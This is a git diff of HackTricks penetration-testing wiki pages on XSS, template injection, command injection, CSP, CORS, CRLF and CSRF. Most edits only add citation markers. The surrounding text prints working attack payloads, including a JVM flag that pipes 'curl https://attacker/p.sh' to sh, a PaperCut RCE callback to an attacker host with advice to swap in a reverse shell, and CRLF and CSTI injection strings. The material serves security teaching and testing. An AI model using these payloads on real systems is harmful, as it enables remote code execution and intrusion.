**`bookmarks.js`**, is detailed below: @@ -90,13 +90,13 @@ $("#btAdd").on("click", function () { }) ``` -This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function. +This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuery’s `.append()` function.[[2]](#references) -Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible. +Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with ‘unsafe-eval’** and the use of jQuery’s DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible.[[2]](#references) -While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button. +While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.[[2]](#references) -To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy: +To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:[[2]](#references) ```json "web_accessible_resources": [ @@ -108,14 +108,11 @@ To enhance this vulnerability, a secondary **clickjacking** vulnerability is exp ], ``` -Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally. +Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attacker’s site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.[[2]](#references) ## References -- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) -- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) +- [1] [When extension pages are web-accessible](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/) +- [2] [Steam, Fire, and Paste: A Story of UXSS via DOM XSS & Clickjacking in Steam Inventory Helper](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/) {{#include ../../banners/hacktricks-training.md}} - - - diff --git a/src/pentesting-web/client-side-template-injection-csti.md b/src/pentesting-web/client-side-template-injection-csti.md index 3e2506c7c14..5bf81a1e273 100644 --- a/src/pentesting-web/client-side-template-injection-csti.md +++ b/src/pentesting-web/client-side-template-injection-csti.md @@ -25,7 +25,7 @@ Quick workflow: 3. If the expression is evaluated, switch to framework-specific RCE/XSS payloads 4. If `{{...}}` is not evaluated, look for **directive/event sinks** (`ng-focus`, `v-html`, inline bindings, alternate delimiters, or dynamic template compilation) -OWASP's current WSTG recommends identifying the framework first and then checking whether your reflection is re-parsed as a template rather than only inserted as inert text/HTML. +OWASP's current WSTG recommends identifying the framework first and then checking whether your reflection is re-parsed as a template rather than only inserted as inert text/HTML.[[1]](#references) ## AngularJS @@ -71,7 +71,7 @@ And the **source code** of the vulnerable example here: [https://github.com/azu/ ">
aaa
``` -A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)[[2]](#references) In modern Vue targets, distinguish between these two cases: @@ -86,7 +86,7 @@ This distinction matters because the common **runtime-only** Vue builds do **not {{_openBlock.constructor('alert(1)')()}} ``` -Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +Credit: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)[[2]](#references) ### **V2** @@ -105,7 +105,7 @@ Other useful Vue 3 gadget variants from PortSwigger research: {{_Vue.h.constructor`alert(1)`()}} ``` -The exact helper name exposed in the rendered template can vary depending on the Vue version / build output, so once you confirm Vue 3 CSTI, enumerate nearby helpers instead of assuming `_openBlock` is always present. +The exact helper name exposed in the rendered template can vary depending on the Vue version / build output, so once you confirm Vue 3 CSTI, enumerate nearby helpers instead of assuming `_openBlock` is always present.[[2]](#references) **Check more VUE payloads in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected) @@ -127,9 +127,9 @@ javascript:alert(1)%252f%252f..%252fcss-images [self.alert(1)mod1] ``` -**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) +**More payloads in** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)[[3]](#references) -Mavo is still worth testing when you see `mv-` / `data-mv-` attributes because its expression parser allows **non-JavaScript syntax** that can bypass filters looking only for classic JS tokens. This is useful when `alert(1)`-style probes are filtered but Mavo expressions are still parsed. +Mavo is still worth testing when you see `mv-` / `data-mv-` attributes because its expression parser allows **non-JavaScript syntax** that can bypass filters looking only for classic JS tokens. This is useful when `alert(1)`-style probes are filtered but Mavo expressions are still parsed.[[3]](#references) ## Tooling @@ -148,6 +148,8 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt ## References -- [OWASP WSTG - Testing for Client-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/15-Testing_for_Client-Side_Template_Injection) -- [PortSwigger Research - Evading defences using VueJS script gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +- [1] [OWASP WSTG - Testing for Client-side Template Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/15-Testing_for_Client-Side_Template_Injection) +- [2] [PortSwigger Research - Evading defences using VueJS script gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) +- [3] [PortSwigger Research - Abusing JavaScript frameworks to bypass XSS mitigations](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index b747bc52e43..1964298baa4 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## What is command Injection? -A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system. +A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.[[2]](#references) ### Context -Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands. +Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.[[1]](#references) ## Command Injection/Execution @@ -48,7 +48,7 @@ Abuse example (redefine a function used by the rules to execute a command): runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;'); ``` -If the rule content is stored and evaluated later, it becomes a persistent RCE primitive within the web context. +If the rule content is stored and evaluated later, it becomes a persistent RCE primitive within the web context.[[7]](#references) ### **Limition** Bypasses @@ -69,7 +69,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ### Bash arithmetic evaluation in RewriteMap/CGI-style scripts -RewriteMap helpers written in **bash** sometimes push query params into globals and later compare them in **arithmetic contexts** (`[[ $a -gt $b ]]`, `$((...))`, `let`). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute. +RewriteMap helpers written in **bash** sometimes push query params into globals and later compare them in **arithmetic contexts** (`[[ $a -gt $b ]]`, `$((...))`, `let`). Arithmetic expansion re-tokenizes the content, so attacker-controlled variable names or array references are expanded twice and can execute.[[9]](#references) **Pattern seen in Ivanti EPMM RewriteMap helpers:** @@ -96,7 +96,7 @@ Notes: ### Parameters -Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):[[10]](#references) ``` ?cmd={payload} @@ -201,7 +201,7 @@ execFile('/usr/bin/do-something', [ ]); ``` -Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). +Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024).[[3]](#references) ### Argument/Option injection via leading hyphen (argv, no shell metacharacters) @@ -219,7 +219,7 @@ What to try: - `ping`: `-f`/`-c 100000` to stress the device (DoS) - `curl`: `-o /tmp/x` to write arbitrary paths, `-K ` to load attacker-controlled config - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` to achieve post-rotate execution in unsafe wrappers -- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. +- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place.[[4]](#references) Generic PoC shapes against centralized CGI dispatchers: @@ -249,7 +249,7 @@ Example payloads: -XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'" ``` -Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](websocket-attacks.md#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution. +Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see [Localhost WebSocket abuse](websocket-attacks.md#localhost-websocket-abuse--browser-port-discovery)) therefore translate directly into OS command execution.[[5]](#references) ## PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE @@ -263,8 +263,8 @@ cmd = ["bash","-c","curl http://attacker/hit"]; java.lang.Runtime.getRuntime().exec(cmd); ``` -- Swap the callback for a reverse shell; if the UI/PoC cannot handle pipes/redirects, stage a payload with one command and exec it with a second request. -- Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally. +- Swap the callback for a reverse shell; if the UI/PoC cannot handle pipes/redirects, stage a payload with one command and exec it with a second request.[[6]](#references) +- Horizon3's [CVE-2023-27350.py](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) automates the auth bypass, config flips, command execution, and rollback—run it through an upstream proxy (e.g., `proxychains` → Squid) when the service is only reachable internally.[[8]](#references) ## Brute-Force Detection List @@ -276,16 +276,15 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject ## References -- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) -- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) -- [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) -- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php) -- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE‑2023‑46818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html) -- [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) -- [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) -- [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html) -- [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) -- [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) -- [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) +- [1] [PayloadsAllTheThings - Command Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) +- [2] [OS command injection | Web Security Academy](https://portswigger.net/web-security/os-command-injection) +- [3] [Extraction of Synology encrypted archives – Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) +- [4] [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) +- [5] [When WebSockets Lead to RCE in CurseForge](https://elliott.diy/blog/curseforge/) +- [6] [PaperCut NG/MF SetupCompleted auth bypass → print scripting RCE](https://0xdf.gitlab.io/2026/02/03/htb-bamboo.html) +- [7] [HTB: Gavel](https://0xdf.gitlab.io/2026/03/14/htb-gavel.html) +- [8] [CVE-2023-27350.py (auth bypass + print scripting automation)](https://github.com/horizon3ai/CVE-2023-27350/blob/main/CVE-2023-27350.py) +- [9] [Unit 42 – Bash arithmetic expansion RCE in Ivanti RewriteMap scripts](https://unit42.paloaltonetworks.com/ivanti-cve-2026-1281-cve-2026-1340/) +- [10] [Top 25 parameters that might be vulnerable to RCE (@trbughunters)](https://twitter.com/trbughunters/status/1283133356922884096) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md index 3ae0bc0a3a4..9e69af6ff57 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md @@ -14,7 +14,7 @@ Any content from external sources is also blocked, including images, CSS, WebSoc ## Via Text & Images -It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them: +It's observed that modern browsers convert images and texts into HTML to enhance their display (e.g., setting backgrounds, centering, etc.). Consequently, if an image or text file, such as `favicon.ico` or `robots.txt`, is opened via an `iframe`, it's rendered as HTML. Notably, these pages often lack CSP headers and may not include X-Frame-Options, enabling the execution of arbitrary JavaScript from them:[[1]](#references) ```javascript frame = document.createElement("iframe") @@ -27,7 +27,7 @@ window.frames[0].document.head.appendChild(script) ## Via Errors -Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions: +Similarly, error responses, like text files or images, typically come without CSP headers and might omit X-Frame-Options. Errors can be induced to load within an iframe, allowing for the following actions:[[1]](#references) ```javascript // Inducing an nginx error @@ -63,9 +63,7 @@ window.frames[0].document.head.appendChild(script) ## References -- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) +- [1] [How to trick CSP in letting you run whatever you want (Wallarm)](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/cors-bypass.md b/src/pentesting-web/cors-bypass.md index 1d24ae538fa..429d771f647 100644 --- a/src/pentesting-web/cors-bypass.md +++ b/src/pentesting-web/cors-bypass.md @@ -7,7 +7,7 @@ Cross-Origin Resource Sharing (CORS) standard **enables servers to define who can access their assets** and **which HTTP request methods are permitted** from external sources. -A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources. +A **same-origin** policy mandates that a **server requesting** a resource and the server hosting the **resource** share the same protocol (e.g., `http://`), domain name (e.g., `internal-web.com`), and **port** (e.g., 80). Under this policy, only web pages from the same domain and port are allowed access to the resources.[[1]](#references) The application of the same-origin policy in the context of `http://normal-website.com/example/example.html` is illustrated as follows: @@ -26,7 +26,7 @@ The application of the same-origin policy in the context of `http://normal-websi This header can allow **multiple origins**, a **`null`** value, or a wildcard **`*`**. However, **no browser supports multiple origins**, and the use of the wildcard `*` is subject to **limitations**. (The wildcard must be used alone, and its use alongside `Access-Control-Allow-Credentials: true` is not permitted.) -This header is **issued by a server** in response to a cross-domain resource request initiated by a website, with the browser automatically adding an `Origin` header. +This header is **issued by a server** in response to a cross-domain resource request initiated by a website, with the browser automatically adding an `Origin` header.[[2]](#references) ### `Access-Control-Allow-Credentials` Header @@ -132,12 +132,12 @@ Access-Control-Request-Private-Network: true ``` > [!NOTE] -> Chrome's PNA rollout changed several times during 2024. As of **October 9, 2024**, Chrome documented that **PNA preflights were on hold** because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the **spec-compliant preflight flow** and the older **"works in practice because enforcement is incomplete"** behavior. +> Chrome's PNA rollout changed several times during 2024. As of **October 9, 2024**, Chrome documented that **PNA preflights were on hold** because of compatibility problems, while secure-context restrictions remained in place. Therefore, keep testing both the **spec-compliant preflight flow** and the older **"works in practice because enforcement is incomplete"** behavior.[[12]](#references) > [!WARNING] > Note that the linux **0.0.0.0** IP works to **bypass** these requirements to access localhost as that IP address is not considered "local". > -> Chrome also documented that **`0.0.0.0/8`** is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed. +> Chrome also documented that **`0.0.0.0/8`** is now treated as part of Private Network Access, so this trick is browser/version-dependent and should be re-tested instead of assumed.[[12]](#references) > > It's also possible to **bypass the Local Network requirements** if you use the **public IP address of a local endpoint** (like the public IP of the router). Because in several occasions, even if the **public IP** is being accessed, if it's **from the local network**, access will be granted. @@ -154,15 +154,15 @@ This is not allowed by browsers and therefore credentials won't be sent with the ## Exploitable misconfigurations -It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible. +It has been observed that the setting of `Access-Control-Allow-Credentials` to **`true`** is a prerequisite for most **real attacks**. This setting permits the browser to send credentials and read the response, enhancing the attack's effectiveness. Without this, the benefit of making a browser issue a request over doing it oneself diminishes, as leveraging a user's cookies becomes unfeasible.[[1]](#references) ### Exception: Exploiting Network Location as Authentication -An exception exists where the victim's network location acts as a form of authentication. This allows for the victim's browser to be used as a proxy, circumventing IP-based authentication to access intranet applications. This method shares similarities in impact with DNS rebinding but is simpler to exploit. +An exception exists where the victim's network location acts as a form of authentication. This allows for the victim's browser to be used as a proxy, circumventing IP-based authentication to access intranet applications. This method shares similarities in impact with DNS rebinding but is simpler to exploit.[[1]](#references) ### Reflection of `Origin` in `Access-Control-Allow-Origin` -The real-world scenario where the `Origin` header's value is reflected in `Access-Control-Allow-Origin` is theoretically improbable due to restrictions on combining these headers. However, developers seeking to enable CORS for multiple URLs may dynamically generate the `Access-Control-Allow-Origin` header by copying the `Origin` header's value. This approach can introduce vulnerabilities, particularly when an attacker employs a domain with a name designed to appear legitimate, thereby deceiving the validation logic. +The real-world scenario where the `Origin` header's value is reflected in `Access-Control-Allow-Origin` is theoretically improbable due to restrictions on combining these headers. However, developers seeking to enable CORS for multiple URLs may dynamically generate the `Access-Control-Allow-Origin` header by copying the `Origin` header's value. This approach can introduce vulnerabilities, particularly when an attacker employs a domain with a name designed to appear legitimate, thereby deceiving the validation logic.[[1]](#references) ```html ` | @@ -255,7 +255,7 @@ Modern WAF/rewriter stacks often strip literal `\r`/`\n` but forget about other * `%E2%80%A9` (`U+2029` – PARAGRAPH SEPARATOR) * `%C2%85` (`U+0085` – NEXT LINE) -Some Java, Python and Go frameworks convert these to `\n` during header parsing (see the 2023 Praetorian research). Combine them with classic payloads: +Some Java, Python and Go frameworks convert these to `\n` during header parsing (see the 2023 Praetorian research).[[9]](#references) Combine them with classic payloads: ``` /%0A%E2%80%A8Set-Cookie:%20admin=true @@ -271,7 +271,7 @@ Praetorian researchers also showed that by injecting: %0d%0aContent-Encoding:%20identity%0d%0aContent-Length:%2030%0d%0a ``` -into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because `Content-Encoding: identity` is allowed by RFC 9110, many reverse-proxies forward it unchanged. +into a reflected header, browsers will ignore the body supplied by the server and render attacker-supplied HTML that follows, giving stored XSS even when the application’s own content is inert. Because `Content-Encoding: identity` is allowed by RFC 9110, many reverse-proxies forward it unchanged.[[9]](#references) ## Automatic Tools @@ -285,14 +285,17 @@ into a reflected header, browsers will ignore the body supplied by the server an ## References -- [https://www.invicti.com/blog/web-security/crlf-http-header/](https://www.invicti.com/blog/web-security/crlf-http-header/) -- [https://www.acunetix.com/websitesecurity/crlf-injection/](https://www.acunetix.com/websitesecurity/crlf-injection/) -- [https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) -- [https://www.netsparker.com/blog/web-security/crlf-http-header/](https://www.netsparker.com/blog/web-security/crlf-http-header/) -- [https://nvd.nist.gov/vuln/detail/CVE-2024-45302](https://nvd.nist.gov/vuln/detail/CVE-2024-45302) -- [Rapid7 - CVE-2026-41940: cPanel & WHM Authentication Bypass](https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass) -- [watchTowr - The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/) -- [cPanel Security Update 04/28/2026](https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026) -- [https://security.praetorian.com/blog/2023-unicode-newlines-bypass/](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/) +- [1] [Invicti: What is CRLF injection and HTTP header injection?](https://www.invicti.com/blog/web-security/crlf-http-header/) +- [2] [Acunetix: CRLF Injection](https://www.acunetix.com/websitesecurity/crlf-injection/) +- [3] [PortSwigger Research: Making HTTP header injection critical via response queue poisoning](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) +- [4] [Netsparker: What Is CRLF / HTTP Header Injection?](https://www.netsparker.com/blog/web-security/crlf-http-header/) +- [5] [NVD - CVE-2024-45302 (RestSharp CRLF injection)](https://nvd.nist.gov/vuln/detail/CVE-2024-45302) +- [6] [Rapid7 - CVE-2026-41940: cPanel & WHM Authentication Bypass](https://www.rapid7.com/blog/post/etr-cve-2026-41940-cpanel-whm-authentication-bypass) +- [7] [watchTowr - The Internet Is Falling Down, Falling Down, Falling Down (cPanel & WHM Authentication Bypass CVE-2026-41940)](https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/) +- [8] [cPanel Security Update 04/28/2026](https://support.cpanel.net/hc/en-us/articles/40073787579671-Security-CVE-2026-41940-cPanel-WHM-WP2-Security-Update-04-28-2026) +- [9] [Praetorian: Unicode Newlines Bypass (2023)](https://security.praetorian.com/blog/2023-unicode-newlines-bypass/) +- [10] [Bugbounty: Exploiting CRLF Injection Can Land Into a Nice Bounty](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) +- [11] [HackerOne Report #192667 - CRLF injection in the URL path](https://hackerone.com/reports/192667) +- [12] [Sonarsource: Zimbra - Mail Stealing Clear-Text Credentials via Memcache Injection](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/csrf-cross-site-request-forgery.md b/src/pentesting-web/csrf-cross-site-request-forgery.md index 05cf01ecf85..f1995f1f474 100644 --- a/src/pentesting-web/csrf-cross-site-request-forgery.md +++ b/src/pentesting-web/csrf-cross-site-request-forgery.md @@ -4,11 +4,11 @@ ## Cross-Site Request Forgery (CSRF) Explained -**Cross-Site Request Forgery (CSRF)** is a type of security vulnerability found in web applications. It enables attackers to perform actions on behalf of unsuspecting users by exploiting their authenticated sessions. The attack is executed when a user, who is logged into a victim's platform, visits a malicious site. This site then triggers requests to the victim's account through methods like executing JavaScript, submitting forms, or fetching images. +**Cross-Site Request Forgery (CSRF)** is a type of security vulnerability found in web applications. It enables attackers to perform actions on behalf of unsuspecting users by exploiting their authenticated sessions. The attack is executed when a user, who is logged into a victim's platform, visits a malicious site. This site then triggers requests to the victim's account through methods like executing JavaScript, submitting forms, or fetching images.[[1]](#references)[[7]](#references)[[8]](#references) ### Prerequisites for a CSRF Attack -To exploit a CSRF vulnerability, several conditions must be met: +To exploit a CSRF vulnerability, several conditions must be met:[[1]](#references) 1. **Identify a Valuable Action**: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges. 2. **Ambient Credentials**: The request must carry credentials automatically, usually cookies or HTTP Basic/Digest authentication. In modern SPAs, also look for same-origin JavaScript gadgets that automatically attach bearer tokens or custom headers for you (client-side CSRF / CSPT2CSRF). @@ -22,7 +22,7 @@ You could **capture the request in Burp** and check CSRF protections, and to tes ### Defending Against CSRF -Several countermeasures can be implemented to protect against CSRF attacks: +Several countermeasures can be implemented to protect against CSRF attacks:[[1]](#references) - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): This attribute prevents the browser from sending cookies along with cross-site requests. [More about SameSite cookies](hacking-with-cookies/index.html#samesite). - [**Cross-origin resource sharing**](cors-bypass.md): The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. [Learn about CORS bypass](cors-bypass.md). @@ -37,7 +37,7 @@ Understanding and implementing these defenses is crucial for maintaining the sec #### Common pitfalls of defenses -- SameSite pitfalls: `SameSite=Lax` still allows top-level cross-site navigations like links and form GETs, so many GET-based CSRFs remain possible. See cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite). +- SameSite pitfalls: `SameSite=Lax` still allows top-level cross-site navigations like links and form GETs, so many GET-based CSRFs remain possible. See cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).[[6]](#references) - Header checks: Validate `Origin` when present; if both `Origin` and `Referer` are absent, fail closed. Don’t rely on substring/regex matches of `Referer` that can be bypassed with lookalike domains or crafted URLs, and note the `meta name="referrer" content="never"` suppression trick. - Method overrides: Treat overridden methods (`_method` or override headers) as state-changing and enforce CSRF on the effective method, not just on POST. - Login flows: Apply CSRF protections to login as well; otherwise, login CSRF enables forced re-authentication into attacker-controlled accounts, which can be chained with stored XSS. @@ -80,9 +80,9 @@ Notes: ### Lack of token -Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively. +Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.[[2]](#references) -Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough: +Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:[[6]](#references) ```http POST /admin/users/role HTTP/2 @@ -118,7 +118,7 @@ Here's how attackers exploit this: 2. **Obtain a valid CSRF token** from the global pool. 3. **Use this token** in a CSRF attack against a victim. -This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's **inadequate token validation mechanism**. +This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's **inadequate token validation mechanism**.[[2]](#references) ### Method bypass @@ -130,7 +130,7 @@ This can also work by sending the **`_method` parameter inside a 